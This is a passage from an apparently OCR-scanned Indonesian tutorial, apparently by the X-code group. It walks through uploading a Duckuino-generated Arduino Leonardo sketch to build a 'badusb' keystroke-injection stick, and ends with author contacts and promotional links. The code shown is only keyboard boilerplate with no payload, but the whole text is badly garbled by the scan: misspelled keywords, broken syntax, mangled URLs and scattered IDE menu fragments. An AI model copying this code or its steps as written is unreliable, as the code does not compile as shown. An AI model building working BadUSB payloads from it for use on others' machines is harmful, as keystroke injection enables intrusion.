* Check the

#include "Eevy

vold typeEey(
{

Eeyboard.pr
delavi(as0);:
Eeybhoard. re

File Edit Sket dw :

Suto Format

Archive Sketch

Fix Encoding & Reload

Serial Manitar

Serial Plotter

WIFIT07 Firmware Updater

Ctrl+T

Ctrl+5hift+M

Ctrl+5hift+L

Serial ports

Programmer: "&AVRISP mkll"

Burn Bootloader

v | COM3 {Arduino Leonardo)

whaid eatimth

Init function

Pilih seperti di atas




File Edit Sketch Tools Help

sketch_jan26a §

* Made with Duckuino, an open-source project.

#include "Eeyboard.h™

vold typeEeyiuinti_t key)
{
Feyboard.pressikey) ;
delay(50);
Keyboard. release (key) ;

Init funection */
vold setup()

{

S/ Begining the Feyboard stream

Eeyhoard.begin() ;

<

Klik centang

¥ Check the license at 'https:/Sgithub. com/Murrl /Duckuino/blob/

me




Sketch Tools Help

Upload

sketch_janZ26a

* Made with Duckuino, an open-szource project.
* Check the license at 'https: Sgithub. con/Murrl Duckuino/bhlol/me

#include "Eeyboard.h'

vold typeKey(uintd t kew)

{
Eeyboard.prezzikey)
delav(50):
Eeyboard. releaze (key) ;
}

Init function
vold setup()

{
S/ Begining the Fevboard strieam
Eevhoard.begini)

£ >

Klik forward

Saat muncul Done uploading maka badusb Stick Super X-code 2.0 sudah bisa dipakai;

Jika ingin membeli Stick Super X-code 2.0 bisa masuk ke X-code Shop yang link-nya ada di
(selama stok masih tersedia).

Oleh Kurniawan

E-mail :



http://xcode.or.id/
mailto:trainingxcode@gmail.com

Produk-produk X-code 2018 dapat anda akses di


https://github.com/kurniawandata

Media-media X-code 2018
{><}xCODE

X-code Professional : /
X-code Community :
X-code Forum :
X-code Group :

X-code Pandawa :



http://xcode.or.id/professional
http://xcodetraining.com/
http://xcode.or.id/community
http://xcode.or.id/forumn
http://fbgroup.xcode.or.id/
http://xcodetraining.com/xcodepandawa

